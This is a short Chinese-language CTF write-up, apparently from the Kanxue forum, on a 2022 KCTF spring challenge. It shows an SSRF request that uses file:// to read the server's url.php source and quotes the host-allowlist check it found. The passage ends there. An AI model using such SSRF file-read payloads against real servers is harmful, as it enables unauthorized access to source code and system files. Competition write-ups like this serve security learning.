[原创]2022KCTF 春季赛第四题飞蛾扑火 WP-CTF对抗-看雪-安全社区|安全招聘|kanxue.com

[原创]2022KCTF 春季赛第四题飞蛾扑火 WP

发表于: 2022-5-16 21:14 4743

[原创]2022KCTF 春季赛第四题飞蛾扑火 WP

柘狐

2022-5-16 21:14

4743

图片描述
发现存在一个phpinfo和一个ssrf的地址

尝试file://去读ssrf文件源代码-url.php读到了源码
http://121.36.145.157:8044/url.php?url=file://127.0.0.1/var/www/html/url.php

看到了php_curl以及

if($host=="ctf.pediy.com"||$host=="127.0.0.1"||$host=="localhost"){
//echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);//get flag
  echo curl_request($url,'',"get",[],true,5);
 
}else{
die("host not allow");
}